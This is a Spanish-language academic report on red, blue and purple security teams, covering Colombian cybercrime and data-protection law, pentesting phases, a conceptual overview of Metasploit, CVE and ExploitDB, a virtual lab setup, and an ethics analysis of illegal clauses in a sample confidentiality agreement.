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GLOSARIO
AMENAZA: cualquier accién con la capacidad de explotar una vulnerabilidad.

BLUE TEAM: equipo de seguridad informética orientado a la proteccion del
sistema de manera proactiva.

CIBERSEGURIDAD: conjunto de disposiciones orientadas a la proteccion de la
informacion en el ciberespacio.

CIS: (Center for Internet Security) organizacion sin animo de lucro dedicada a la
mejora de la seguridad informatica de manera global.

COMANDO: mensaje enviado al ordenador que se comporta como una orden.

COPNIA: (consejo profesional nacional de ingenieria) entidad publica colombiana
encargada de vigilar el ejercicio de la ingenieria y afines.

FIREWALL: sistema orientado a la seguridad que restringe el trafico de la red, en
base a una serie de reglas predefinidas o establecidas por el usuario.

HARDENIZACION: endurecimiento del sistema, con el fin de prevenir o minimizar
incidentes de seguridad informatica.

KALI LINUX: distribucion de Linux orientado a pruebas de penetracion.

PENTESTING: procedimiento utilizado para probar sistemas informaticos, en un
entorno controlado o pactado con el cliente.

PURPLE TEAM: equipo de seguridad informatica que relne las caracteristicas de
los red y blue team, ademas de otros aportes de mejora.

RED TEAM: equipo de seguridad informatica orientado a la penetracion del
sistema.

SEGURIDAD INFORMATICA: conjunto de disposiciones orientadas a
salvaguardar la informacion gestiona a través de las tecnologias de la informacion
y comunicaciones. (TIC)

VIRTUALBOX: sistema hipervisor gratuito, para virtualizar sistemas operativos.
VULNERABILIDAD: incapacidad de resistir ante una amenaza.

WINDOWS 10 x64: sistema operativo orientado a ordenadores personales.



RESUMEN

El presente trabajo estd enfocado en el actuar de los red team y blue team,
tomando en cuenta la parte técnica, ética y legal de sus funciones, con el fin de
determinar de manera clara la participacion de cada uno en las estrategias y
marcos adoptados por las organizaciones en materia de seguridad informatica.

En Colombia existen leyes especificas para la proteccién de la informacién y los
datos que se gestionan por medio de tecnologias de la informacion, una de estas
leyes es la 1273 de 2009 que considera una serie de sanciones correspondientes
a penas de prision y multas, estas sanciones pueden ser agravadas dependiendo
de la relacion del infractor con los datos o con el poseedor de la informacién.

Otra ley relevante en este ambito es la 1581 de 2012 creada para la proteccion de
datos personales, esta ley es aplicable en la totalidad del territorio nacional y fuera
del territorio, amparada en normas y acuerdos internacionales. La infraccion a esta
ley acarrea multas hasta por 2000 SMLMV y sanciones que pueden ir, desde
suspensiones temporales hasta el cierre total he inmediato de operaciones.

También existe en Colombia un cédigo de ética que enmarca los deberes y
obligaciones de los profesionales, sin embargo, este cédigo no es solo una guia
de buenas practicas, ya que contempla sanciones que pueden ir desde
amonestaciones hasta la cancelacion de la matricula profesional.

En cuanto a la parte técnica los red y blue team tienen roles distintos y
complementarios, por un lado, los blue team se encargan de bridar proteccién al
sistema mediante un enfoque preventivo, con algunas funciones de respuesta a
incidentes en tiempo real. Mientras que los red team se enfocan en procesos de
hacking ético, con el fin de descubrir vulnerabilidades antes de que sean
explotadas por delincuentes informaticos.

Los red team entregan como resultado las recomendaciones pertinentes para
subsanar las vulnerabilidades encontradas, mientras que los blue team, utilizan
esta informacion para disefiar estrategias de defensa que puedan contribuir a la
prevencion de un ataque real, o a mitigar los efectos en caso de que ocurra.

Es de aclarar que los blue y red team no son los Unicos equipos disefiados para
estas funciones, también existen otros como: los purple team, que engloban las
funciones de red y blue team agregandoles valor y los equipos de respuesta a
incidentes, enfocados a la postexplotacion.

Palabras clave: seguridad informatica, red team, blue team, purple team.



INTRODUCCION

La seguridad informatica se ha convertido en parte fundamental para las
organizaciones de todo tipo, desde la proteccidon de los datos en pequefias
organizaciones, hasta la defensa de la infraestructura critica de los paises, la
confidencialidad, integridad y disponibilidad de los datos gestionados mediate las
tecnologias de la informacion son desafios cruciales que se enfrentan en la
actualidad.

Con el fin de proporcionar soluciones de seguridad mucho més eficientes, se han
desarrollado diferentes enfoques, y equipos especializados. En este documento,
se explora la seguridad informética desde la perspectiva de los equipos red team,
blue team y purple team, considerando sus funciones y roles dentro de la
organizacion, tanto aspectos técnicos como legales. Esto contribuira a comprender
mejor coémo las organizaciones pueden protegerse de las amenazas a la
seguridad de los datos en un entorno cada vez mas digitalizado y complejo.

Uno de los aspectos esenciales en la seguridad informatica es el conocimiento y
cumplimiento de las leyes y regulaciones destinadas a la proteccion de la
informacion gestionada mediante herramientas de TI, estas disposiciones son
indispensables sobre todo en lo relacionado con las pruebas de penetracion y
hacking ético, teniendo en cuanta que hay una linea delgada entre un
procedimiento legal y la trasgresién de alguna ley.

También se aborda mediante el caso de estudio las indicaciones de COPNIA
(Consejo Profesional Nacional de Ingenieria) sobre el actuar ético de los
profesionales en este campo, brindando un marco de referencia para que todas
las actuaciones se ajusten a estandares éticos y legales.

Mediante revisiones bibliograficas se exploran herramientas y marcos utilizadas
por los red team, y sus maniobras ofensivas, enfocadas a la explotacion de
vulnerabilidades. También se analizan herramientas, marcos y estrategias que
emplean los blue team en sus maniobras defensivas para prevenir ataques
mediante procesos de hardenizacion, asi mismo en la identificacion y mitigacion
de ataques en tiempo real.

Ademas, se analizara el papel de los purple team en el fortalecimiento de la
postura de seguridad de una organizacion, teniendo en cuanta que su actuar es
mucho mas que la unién de los red y blue team y la mejora de la comunicacion
entre estos.
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OBJETIVOS

OBJETIVO GENERAL

Planificar estrategias basadas en metodologias de seguridad informatica
defensivas y ofensivas, con el fin de prevenir o contener un incidente informatico.

OBJETIVOS ESPECIFICOS

Identificar las normas éticas y legales orientadas a la proteccion de los datos
gestionados por medio de las tecnologias de la informacion.

Comprender el accionar de los red team y blue team en una organizacién teniendo
en cuanta criterios éticos y legales.

Encontrar vulnerabilidades en un sistema informatico mediante el uso de
metodologias, técnicas y herramientas de intrusion.

Planear estrategias que permitan contener un ataque informético, en base al
analisis de riesgos y vulnerabilidades de una infraestructura TI.

11



1 DESARROLLO DEL INFORME

1.1 ETAPA 1 CONCEPTOS EQUIPOS DE SEGURIDAD
1.1.1 Analisis de la legislacion relacionada con delitos informaticos

1.1.1.1 Ley 1273 de 2009

Ley encargada de la proteccion de la informacion y los datos almacenados o
enviados por medio de las tecnologias de la informacion.

En la siguiente tabla se describe de manera general los aspectos mas relevantes

de esta ley.

Tabla 1 Ley 1273 de 2009

Ley 1273 de 2009

Articulo 1°. Por el cual se adiciona al cédigo penal con un titulo VII BIS “de la proteccién de la
informacion y de los datos”.
Capitulo | De los atentados contra la confidencialidad, la integridad y la disponibilidad de los
datos y de los sistemas informaticos
Articulo Descripcion Definicion Pena Multa
Articulo Acceso abusivo Los sistemas informaticos 48 a 96 Entre 100 a
269 A a un sistema necesitan de permisos para ser meses de 1000 salarios
informatico accedidos, no importa si estan  prision minimos
protegidos con algun tipo de legales
contrasefia o no, por lo tanto, mensuales
guien acceda sin permiso, vigentes.
incurrira en un delito.
Articulo Obstaculizacion Es un delito dificultar o 48 a 96 entre 100 y
269 B ilegitima de entorpecer el funcionamiento, 0 meses de 1000 salarios
sistema el acceso normal a un sistema  prision. Si minimos
informatico o red informatico, o a la informacién no ha legales
de almacenada en dicho sistema, incurrido en  mensuales
telecomunicacion 0 a unared de comunicaciones algun delito  vigentes
sin estar autorizado. mayor.
Articulo Interceptacion de La captura de informacién 36a72
269 C datos digital solo puede ser realizada meses de
informaticos con los debidos permisos, de lo  prision
contrario, la interceptacion ya
sea en su punto de origen,
destino o dentro de un sistema
informéatico, es un delito
Articulo Dafio Informatico Esté orientado a los 48 a 96 Entre 100 y

L POLICIA. Ley 1273 de 2009. [en linea]. Colombia. (2009). 1-4 p. [Consultado el 05 de agosto
de 2023]. Disponible en: https://normograma.mintic.gov.co/mintic/docs/pdf/lley 1273 2009.pdf
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269 D componentes ldgicos de un meses de 1.000 salarios
sistema informatico con el fin prisién minimos
de protegerlos ante: legales
destruccion, dafo, eliminacion, mensuales
deterioro, modificacion o vigentes.
eliminacion de informacion
digital.

Articulo Uso de software  Es un delito fabricar, 48 a 96 Entre 100 y

269 E malicioso comercializar, distribuir o sacar meses de 1.000 salarios
del pais programas dafiinos, u prisién minimos
otros tipos de aplicaciones legales
informéticas con efectos mensuales
perjudiciales, sin el debido vigentes.
permiso.

Articulo Violacion de Esta prohibido sustraer o 48 a 96 Entre 100 y

269 F datos personales comercializar con datos meses de 1000 salarios
individuales alojados en prision minimos
registros, archivos, bases de legales
datos o medios similares, para mensuales
obtener veneficio propio. vigentes.

Articulo Suplantacién de  El disefio, ejecucién y 48 a 96 Entre 100 y

269 G sitios web para comercializacion de sitios web ~ meses de 1.000 salarios

capturar datos 0 enlaces destinados a prisién. Si minimos
personales actividades ilegales es un no ha legales
delito. También la modificacién  incurrido en  mensuales
de nombres de dominio con el algun delito  vigentes.
fin de hacer entrar al usuarioa  mayor.
una IP diferente en la creencia
de que acceda a su banco o a
otro sitio personal o de
confianza.
Articulo Circunstancias Aumento de las penas Aumento
269 H de agravacion descritas anteriormente segin  de la mitad
punitiva lo siguiente: alas tres
e Servidor publico en cuartas
ejercicio partes, de
e Aprovechamiento de la la pena ya
confianza del poseedor de  estipulada
la informacion para el
e Revelar informacion en delito
prejuicio de otro cometido
e Obtener provecho para si
Con fines terroristas
Usando como instrumento
a un tercero
e Sieselresponsable del
manejo de dicha
informacion
Ley 1273 de 2009
Capitulo Il De los atentados informaticos y otras infracciones
Articulo Descripcién Definicion Pena Multa
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Articulo Hurto por Realizar hurto valiéndose de un  Sefaladas
269 | medios sistema informatico, superando  en el
informaticos y las medidas de seguridad o articulo 240
semejantes suplantando a un usuario de este
legitimo constituye un delito Cadigo.
punible.
Articulo Transferencia Se sanciona el lucro valiéndose 48 a 120 Entre 200 a
269 J no consentida de alguna manipulacion meses de 1.500 salarios
de activos informatica o artificio semejante, prisién. Si minimos
para obtener un activo en no ha legales
perjuicio de un tercero. De igual incurrido en mensuales
manera se castiga a quien algun delito  vigentes
fabrique o facilite un programa mayor.

de computador destinado a la
comision del delito descrito en el
inciso anterior

Fuente: El autor.

1.1.1.2 Ley 1581 de 2012

Es una ley creada para la proteccién de datos personales, con el fin de garantizar
el derecho constitucional de acceder, corregir y actualizar la informacion que se
encuentra registrada sobre ellas en bases de datos o archivos?. Esta ley aplica
para todo el territorio colombiano, también aplica cuando el responsable a pesar
de estar fuera del territorio pueda ser cobijado por la legislacién colombiana
amparada en normas y acuerdos internacionales.

Excepciones:

Bases de datos o archivos de caracter personal o doméstico, es de aclarar que
si estos datos, salen del entrono personal, entonces deben tenerse en cuenta
una serie de términos y condiciones, para no ser cobijado por alguna de las
sanciones

Bases de datos o archivos que involucren la seguridad nacional, se trata de
informacion en poder de las autoridades competentes y que resulta relevante
para la salvaguarda del pais y sus habitantes

Bases de datos dedicadas a la inteligencia y contrainteligencia

Bases de datos destinadas a la investigacion periodistica

Bases de datos y archivos regulados por la ley 1266 de 2008 “por la cual se
dictan las disposiciones generales del habeas data y se regula el manejo de la
informacion contenida en bases de datos personales, en especial la financiera,

2 FUNCION PUBLICA. Ley 1586 de 2012. [en linea]. Colombia. (18 de octubre de 2012).

[Consultado el 10 de

agosto de 2023]. Disponible en:

https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981
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crediticia, comercial, de servicios y la proveniente de terceros paises y se
dictan otras disposiciones™

e Bases de datos y archivos regulados por la ley 79 de 1993 “Por medio de la
cual se adoptan medidas de proteccion a los colombianos en el exterior a
través del Servicio Consular de la Republica™ es de aclarar que esta ley no es
exclusiva para el tratamiento de los datos.

En la siguiente tabla se relacionan las multas y sanciones:

Tabla 2 Multas y sanciones ley 1581 de 2012

Multas y sanciones

Entidad regulatoria Multas Sanciones
La super intendencia de Pueden ser de caracter Suspension de actividades
industriay comercio personal o institucional y con hasta por 6 meses

un monto de hasta 2000 Cierre temporal de

salarios minimos mensuales operaciones

legales vigentes. Cierre inmediato y definitivo

Es de aclarar: estas multas se  de la operacion
pueden repetir mientras
subsista el incumplimiento

Fuente: El autor

1.1.2 Analisis sobre el ejercicio de Pentesting

El Pentesting es un procedimiento utilizado para probar sistemas informéticos, con
los mismos marcos y herramientas usadas por un ciberdelincuente. El Pentesting
tiene como finalidad, detectar a tiempo las falencias del sistema y proponer las
salvaguardas necesarias®.

El proceso de Pentesting debe estar reglamentado de manera clara, de modo que
se conozcan todos los pormenores del ataque y se delimite su alcance, es decir, el
profesional (pentesters) que lo realiza solo puede acceder a las partes del sistema
que estén dentro de los limites pactados y mediante el uso de las herramientas

3 FUNCION PUBLICA. Ley 1266 de 2008. [en linea]. Colombia. (31 de diciembre de 2008).
[Consultado el 10 de agosto de 2023]. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34488#:~:text=por%201a%20

cual%20se%20dictan,y%20se%20dictan%20otras%20disposiciones.

4 FUNCION PUBLICA. Ley 76 de 1993. [en linea]. Colombia. (05 de octubre de 1993). [Consultado
el 10 de agosto de 2023]. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=173186#:.~:text=Por%20medi

0%20de%20la%20cual,Servicio%20Consular%20de%20la%20Rep% C3%BAblica.

5 SANTOS, José. ¢ Qué es el Pentesting? Tipos y cdmo utilizarlo para prevenir ciberataques. [en
linea]. (7 de agosto del 2023). [Consultado el 11 de agosto de 2023]. Disponible en:
https://www.deltaprotect.com/blog/que-es-pentesting
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acordadas en la etapa inicial, de lo contrario se presentaria un caso de infraccion a
las leyes orientadas a la proteccion de los datos.

El Pentesting se puede dividir en varios tipos segun la cantidad de informacion que
se suministra al equipo de pentesters, eh aqui los mas importantes®:

Pentesting de caja negra (black box): En este caso el equipo de pentesters
recibe muy poca informacion sobre el objetivo, de modo que se simule un
ataque desde fuera del sistema.

Pentesting de caja gris (grey box): El equipo de pentesters recibe informacion
sobre el objetivo, de este modo resulta muy conveniente para testear partes
especificas del sistema.

Pentesting de caja blanca (White box): En este caso la informacion
proporcionada es abundante, desde la arquitectura de red hasta el codigo
fuente. Este tipo de prueba sirve para simular un ataque desde dentro de la
organizacion o para testear el codigo en busca de vulnerabilidades asociadas a
fallas de programacion.

Por tratarse de un proceso sistematico el Pentesting esté dividido en una serie de
etapas, estas pueden modificarse de manera leve segun la metodologia de
Pentesting que se adopte, sin embargo, todos las metodologias y marcos
comparten las etapas principales, que se describen a continuacion.

1.1.2.1 Planificaciény preparacién

En esta fase se intercambia informacion entre la organizacién y el equipo de
pentesters, también se firman los acuerdos necesarios para proteger a las partes,
las tareas principales de esta fase son’:

Identificacion de los canales de comunicacion
Definicion del alcance, la metodologia y el enfoque
Acuerdo sobre pruebas especificas y rutas de escalamiento

1.1.2.2 Reconocimiento

Antes de realizar un ejercicio de Pentesting es necesario recabar toda la
informacion posible acerca del sistema con el fin de establecer una superficie de

6 SANTOS, José. ¢ Qué es el Pentesting? Tipos y cdmo utilizarlo para prevenir ciberataques. [en
linea]. (7 de agosto del 2023). [Consultado el 11 de agosto de 2023]. Disponible en:
https://www.deltaprotect.com/blog/que-es-pentesting

7 FATURE LEARN. Marco de Evaluacion de la Seguridad del Sistema de Informacion (ISSAF). [en
linea]. [Consultado el 12 de agosto 2023]. Disponible en:
https://www.futurelearn.com/info/courses/ethical-hacking-an-introduction/O/steps/71521
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ataque amplia. Para llevar a cabo esta tarea existen algunas estrategias o marcos,
entre ellos se destaca el gathering con sus dos formas de recabado de
informacién?®: el footprinting y el fingerprinting.

e Footprinting®: se trata de un tipo de blsqueda de informaciéon que no deja
huella, debido a que su campo de accidn se restringe a los datos publicos que
pueden ser accedidos mediante motores de busqueda, sitios web y redes
sociales, es importante destacar que el footprinting se divide en dos ramas: de
tipo pasivo y activo.

v Footprinting pasivo: sin el uso de herramientas especiales
v Footprinting activo: mediante el uso de herramientas orientadas a la
basqueda de informacion; por ejemplo, WHOIS.

e Fingerprinting'®: es una técnica mucho mas minuciosa que el footprinting, sin
embargo, también es mas intrusiva, de modo que su uso puede estar mas
orientado a casos donde no sea muy relevante dejar huellas.

1.1.2.3 Escaneo

En esta fase se realiza la blsqueda de vulnerabilidades?!?, tomando como base la
informacion recolectada en la fase de reconocimiento, la busqueda de
vulnerabilidades puede realizarse de manera manual o automatizada mediante
herramientas disefiadas para este fin. Esta etapa es muy importante, porque
permite verificar el nivel de seguridad del sistema.

1.1.2.4 Explotacién

En base a los descubrimientos de la etapa de escaneo se realiza la explotacién de
vulnerabilidades??, es decir, se trata de penetrar el sistema mediante las brechas
de seguridad encontradas, a continuacion, se presentan las principales tareas de
esta etapa's:

8 KEEPCODING. ¢Qué es footprinting? [en linea)]. (9 de mayo del 2023). [Consultado el 10 de
agosto de 2023]. Disponible en: https://keepcoding.io/blog/que-es-footprinting-ciberseguridad/

9 lbid., p. 1.
10 KEEPCODING. ¢Qué es fingerprinting? [en linea]. (3 de mayo del 2023). [Consultado el 10 de
agosto de 2023]. Disponible en: https://keepcoding.io/blog/que-es-fingerprinting-

cibersequridad/#:~:text=Para%20un%20ciberdelincuente%2C%?20el%20fingerprinting,mejorar%20s
u%20protecci%C3%B3n%20de%20datos.
11 SANTOS, José. ¢Qué es el Pentesting? Tipos y cémo utilizarlo para prevenir ciberataques. [en
linea]. (7 de agosto del 2023). [Consultado el 11 de agosto de 2023]. Disponible en:
https://www.deltaprotect.com/blog/que-es-pentesting
2 1bid., p. 1.
13 TARLOGIC. Metodologia NIST: Sustento para los analistas de ciberseguridad. [en linea]. (14 de
junio del 2022). [Consultado el 10 de agosto del 2023]. Disponible en:
https://www.tarlogic.com/es/blog/guias-nist-cibersequridad/
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¢ Obtener acceso: mediante explotacion de vulnerabilidades

e Escalar privilegios: por medio de la ampliacion de vectores de ataque, hasta
hacerse con privilegios de administrador

e Movimientos laterales: se trata de una serie de movimientos para alcanzar
objetivos adicionales

e Mantener el acceso: permanecer en el sistema el mayor tiempo posible,
mediante la instalacion de herramientas

1.1.2.5 Borrado de rastro
En esta etapa se debe eliminar cualquier pista que pueda existir del ataque, de
modo que no quede ninguna brecha a utilizar por algun ciberdelincuente4.

1.1.2.6 Redactar informe

Por lo general de debe de entregar dos informes?®, uno con el resumen ejecutivo,
donde se mencione de manera general: los hallazgos, el perfil de riesgo y las
recomendaciones, el otro es un informe técnico, que esta orientado a los
admiradores del sistema, en este se mencionan: detalles de la prueba,
componentes acordados, rutas, alcance y recomendaciones.

1.1.3 Herramientas y servicios utilizados en ciberseguridad

1.1.3.1 Metasploit

Es un marco de cddigo abierto desarrollado en el lenguaje de programacion
Ruby'® y esta orientado a las pruebas de penetracion, “Metasploit ahora incluye
mas de 1677 Exploits organizados en 25 plataformas, incluidas Android, PHP,
Python, Java, Cisco y mas. El marco también transporta casi 500 cargas Utiles™’.

A continuacion, se describe la arquitectura de Metasploit'®

14 SANTOS, José. ¢ Qué es el Pentesting? Tipos y como utilizarlo para prevenir ciberataques. [en
linea]. (7 de agosto del 2023). [Consultado el 11 de agosto de 2023]. Disponible en:
https://www.deltaprotect.com/blog/que-es-pentesting

15 Medium. Pentesting: Introduccion. [en linea]. [Consultado el 10 de agosto del 2023]. Disponible
en: https://medium.com/@rootsec/pentesting-introducci%C3%B3n-cbh40a8ae67ba

16 BUCKBEE, Michael. What is Metasploit? The Beginner's Guide. [en linea]. (29 de marzo de
2020). [Consultado el 10 de agosto de 2023]. Disponible en: https://www.varonis.com/blog/what-is-

metasploit
17 CIBERSEGURIDAD. ¢Qué es Metasploit y cémo funciona? [en linea]. [Consultado el 11 de

agosto de 2023]. Disponible en: https://cibersequridad.com/herramientas/pruebas-
penetracion/metasploit-framework/
18 |bid., p. 1.
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e Interfaces
v MSFConsole (Metasploit Framework Console): permite el acceso mediante
lineas de comandos.
v’ MSFWeb: permite acceso atreves de navegador
v' Armitage: acceso mediante interfaz grafica
v" RPC (llamada a procedimiento remoto): acceso remoto
e Bibliotecas
v' REX: orientada a las tareas béasicas
v' MSF Core: proporciona una APl comun
v' Base de MSF: proporciona una API de facil uso
e Modulos
v' Cargas Utiles: se trata de codigos para linea de comandos para realizar
acciones previstas por el usuario
v' Exploits: se trata de secuencias de comandos usadas para acceder al
sistemas objetivo.
v Codificadores: son usados mara mimetizar las cargas utilices.
v NOP (No Operation): sirve para crear secuencias de bytes aleatorias que
permiten la evasion de los IPS.
v" Auxiliares: estan pensados para el escaneo de vulnerabilidades
e Herramientas complementarias: pensadas para ampliar la funcionalidad de la
herramienta.

1.1.3.2 ¢(Qué es un CVE?

Common Vulnerabilities and Exposures (CVE) Es un listado de vulnerabilidades
que esta disponible para el publico, es decir, un CVE es una vulnerabilidad que
esta etiquetada con un nimero de identificacion'®. Estos nimeros de identificacion
facilitan el reconocimiento rapido de una vulnerabilidad y facilitan la basqueda de
informacion confiable sobre esta.

1.1.3.3 ExploitDB

Se trata de una aplicacion web destinada a gestionar bases de datos publicas que
contienen Exploits para vulnerabilidades conocidas®®. ExploitDB muestra de
manera detallada informacion sobre la vulnerabilidad y los Exploits asociados a
esta.

19 RED HAT. What is a CVE? [en linea]. (25 de noviembre de 2021). [Consultado el 11 de agosto
de 2023]. Disponible en: https://www.redhat.com/en/topics/security/what-is-cve

20 KEEPCODING. ¢Qué es ExploitDB? [en linea]. (4 de octubre del 2022). [Consultado el 11 de
agosto de 2023]. Disponible en: https://keepcoding.io/blog/que-es-exploitdb/
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1.1.3.4 ExploitDB y CVE

Teniendo en cuanta que los Exploits son fragmentos de cédigo disefiados para
sacar provecho de vulnerabilidades y que CVE es una base de datos que lista
vulnerabilidades conocidas y les asigna un numero de identificacion y una
descripcion breve. La articulacion de ExploitDB con CVE es un cruce de
informacion donde se asocia la vulnerabilidad etiquetada por CVE con los Exploits
asociados a esta, de este modo en un ejercicio de Pentesting, luego de identificar
una vulnerabilidad que este etiquetada por CVE y haga parte de ExploitDB es muy
sencillo identificar los Exploits que se deben usar para su explotacion.

1.1.4 Evidencia de implementacion del banco de trabajo

Para el entorno de pruebas controlado, se utilizara el sistema hipervisor Virtual
Box, que permite la ejecucion de las méaquinas virtuales: el sistema operativo
Windows 10 x64 que corresponde a la maquina victima y el sistema operativo Kali
Linux que corresponde a la maquina atacante.

En la siguiente imagen se evidencian los recursos asignados a la maquina Kali
Linux

Imagen 1 recursos Kali Linux

'.\j Oracle VM VirtualBox Administrador

Archivo Maquina Ayuda

' : Herramientas ‘ + ﬁ e

Mueva ARadir Configuraddn Mostrar
L] General Ll Previsualizacion

MNombre: Kali
Sistema operativo: Ubuntu |:'t-l+t|it:|

Sistema
Memaria base:

arrangue;
cian:

] Pantalla

Memoria d
Controlador

Fuente: El autor.
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En la siguiente imagen se puede evidenciar el sistema operativo Kali Linux
corriendo

Imagen 2 Kali Linux corriendo

ﬁ Kali [Corriendo] - Oracle VM VirtualBox . . .

Archivo Maquina Ver Entrada Dispositivos Ayuda

S o m PO 2 3 4 apso| ac

Papelera

Sistema de ...

Fuente: El autor.

En la siguiente imagen se evidencia el funcionamiento del sistemas operativo
Windows 10 en la maquina host

Imagen 3 Windows 10 corriendo

Escritorio

Fuente: El autor.
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En la siguiente imagen se evidencia la configuracion de la red de la maquina Kali

Linux en modo puente y su direccion IP

Imagen 4 Kali Linux IP

ﬁ Kali [Corriendo] - Oracle YM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

N emP O 2

' Archivo Acciones Editar

Papelera

ethe:

Sistema de ...

Fuente: El autor.
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En la siguiente imagen se evidencia la conexién entre las maquinas mediante ping

Imagen 5 conexion entre maquinas

M M M 0
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Fuente: El autor.
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1.2 ETAPA 2 ACTUACION ETICA Y LEGAL

1.2.1 Parrafos que se tornan ilegales

¢ Qué parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad?

En la primera parte de las clausulas denominada. Objeto, existen unas lineas
orientadas a actos ilegales, como se muestra en la siguiente imagen:

Imagen 6 clausula primera: Objeto

En consecuencia, las partes se suscriben a las siguientes clausulas:

Primera. Objeto: en virtud del presente acuerdo de
confidencialidad, |a parte receptora, se obliga a no divulgar directa,
indirecta, proxima a remotamente, ni a través de ninguna otra persona
o de sus subalternos o funcionarios, autoridades legales, asesores o
cualguier persona relacionada con ella, la informacién confidencial
o sobre procesos ilegales dentro de HackerHouse no podran ser
divulgados.

Fuente: El autor.

En la imagen anterior, aunque no se solicita a la parte receptora que se
comprometa a realizar procesos ilegales, y tampoco es posible determinar
mediante estas lineas alguna falta a la ley 1273 del 2009. Si se esta solicitando
gue guarde silencio sobre procesos ilegales, esto tiene barias implicaciones:

e Deja entrever que la organizacibn HackerHouse ha realizado, realiza o
pretende realizar practicas ilegales

e Violacién por parte de quien acepte el acuerdo, al cédigo de ética para el
ejercicio de la ingenieria, sobre los deberes generales de los profesionales
“Denunciar los delitos, contravenciones y faltas contra este Cédigo de Etica, de
que tuviere conocimiento con ocasion del ejercicio de su profesion, aportando
toda la informacion y pruebas que tuviere en su poder”??,

e Es posible que, de aceptar el acuerdo, a futuro se le solicite realizar alguna
practica ilegal o participar de manera indirecta en este tipo de actos ilegales.

21 COPNIA. Cddigo de ética. [en linea]. Colombia. 7 p. [Consultado el 15 de agosto de 2023].
Disponible en: https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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En el parrafo 2 de la segunda clausula denominada. Definicion de informacion
confidencial, existe unas lineas orientadas a actos ilegales, en la siguiente imagen
se aprecian estas lineas.

Imagen 7 Clausula segunda: definicion de informacion confidencial, parrado 2

En consecuencia, las partes se suscriben a las siguientes clausulas:

Segunda. Definicion de informaciéon confidencial: se entiende
como Informacion Confidencial, para los efectos del presente
aruerdo:

e formacion que no sea publica y sea conocida por |a parte
receptora con ocasion del proceso de seleccion de personal.

2. Cualquier informacidn societaria, técnica, juridica, financiera,
comercial, de mercado, estratégica, de productos, nuevas
tecnologias, patentes, modelos de utilidad, disefios industriales
datos secretos como "datos de chuzadas, interceptacion ilegal de
informacidn, accesos abusivos a sistemas informaticos”.

Fuente: El autor.

En la imagen anterior se resalta el texto que menciona actos ilegales que infringen
la ley colombiana 1273 del 2009, en el articulo primero denominado: de la
proteccion de la informacion y de los datos. En el capitulo | denominado: “De los
atentados contra la confidencialidad, la integridad y la disponibilidad de los datos y
de los sistemas informaticos”??, ademas, atentan contra la ética del profesional. A
continuacion, se describen estos actos:

e Datos de chuzadas. Articulo 269C?23 interceptacion de datos informéticos. Que
prohibe la interceptacion de datos informaticos o las emisiones
electromagnéticas provenientes de un sistema informatico, sin orden judicial.
También se trasgrede el articulo 269F violacion de datos personales. Que
busca castigar a quien para provecho propio o de un tercero “obtenga, compile,
sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifigue o emplee cddigos personales, datos personales contenidos en
ficheros, archivos, bases de datos o medios semejantes”.

22 POLICIA. Ley 1273 de 20009. [en linea]. Colombia. (2009). 1 p. [Consultado el 15 de agosto
de 2023]. Disponible en: https://normograma.mintic.gov.co/mintic/docs/pdf/lley 1273 2009.pdf
23 |bid., p. 2.
24 |bid., p. 2.
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¢ Interceptacion ilegal de informacion. Los articulos 269C y 269F anteriormente
descriptos.

e Acceso abusivo a sistemas informaticos. Articulo 269A%> acceso abusivo a un
sistema informatico. Mediante el cual se prohibe el acceso sin autorizacion a
un sistema informatico.

De aceptar el acuerdo la parte receptora también incurre en faltas al codigo de
ética para el ejercicio de la ingenieria. Por medio del cual estaria obligado a
denunciar tales comportamientos ilegales?®.

En la siguiente imagen (obligacion tercera, parte receptora) se aprecia un parrafo
donde se impide de manera terminante que la parte receptora denuncie cualquier
actividad sospechosa relacionada con espionaje o cualquier otro modo de
apropiacion fraudulenta de informacién de terceros.

De este modo la parte receptora incurrirA una vez mas en faltas contra lo
estipulado en el cédigo de ética para el ejercicio de la ingenieria?’, que invita a
denunciar de manera contundente y aportando todo el material probatorio posible,
a todo tipo de actividad ilegal concebida mediante el ejercicio de la ingenieria.

Imagen 8 obligacion tercera, parte receptora

Cuarta. Obligaciones de la parte receptora: Se considerara como
parte receptora de la informaciéon confidencial a la persona que
recibe la informacion, o gue tenga acceso a ella. La parte receptora se
obliga a:

De ser necesario o conveniente segun la necesidad del titular de la
informacion, se adicionaran las obligaciones que se consideren
pertinentes:

3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualguier otro proceso en el cual intervenga la
apropiacion de informacion de terceros.

Fuente: El autor.

25 POLICIA. Ley 1273 de 2009. [en linea]. Colombia. (2009). 1 p. [Consultado el 15 de agosto

de 2023]. Disponible en: https://normograma.mintic.gov.co/mintic/docs/pdf/ley 1273 2009.pdf

26 COPNIA. Cddigo de ética. [en linea]. Colombia. 7 p. [Consultado el 15 de agosto de 2023].
Disponible en: https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica

27 |bid., p. 7.
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También es importante mencionar que, de ser encontrada por parte de las
autoridades competentes en poder de la parte receptora, informacion de terceros
obtenida de manera fraudulenta, es decir, sin la debida autorizacion, se estaria
violando el articulo 269F violacion de datos personales, descripto anteriormente.

En la siguiente imagen (obligacion quinta, parte receptora) se obliga a la parte
receptora a responder ante las autoridades competentes, en caso de serle
encontrada en su poder informacion, en algun proceso de allanamiento. Por
supuesto, el parrafo se refiere a informacion obtenida de manera fraudulenta, en
detrimento de algun tercero y suministrada a la parte receptora por HackerHouse.

Imagen 9 obligacion quinta, parte receptora

Cuarta. Obligaciones de la parte receptora: Se considerara como
parte receptora de |la informacion confidencial a la persona que
recibe la informacion, o gque tenga acceso a ella. La parte receptora se
obliga a:

De ser necesario o conveniente segun la necesidad del titular de la
informacion, se adicionaran las obligaciones que se consideren
pertinentes:

5. Responder ante las autoridades competentes como responsable
en caso de que la informacion se encuentre en su poder dentro
de un proceso de allanamiento.

Fuente: El autor.

Esto implica que la parte receptora se haria acreedora a las sanciones y pena de
prision que estime la ley colombiana para proteccion de datos, mientras
HackerHouse quien es el verdadero perpetrador del detrimento quedaria exento
de culpas.

A continuacién, se resalta unas lineas del parrafo correspondiente a la obligacion
sexta para la parte receptora, donde se obliga a no divulgar de ninguna manera
cualquier tipo de informacion ilegal sin el previo consentimiento escrito por parte
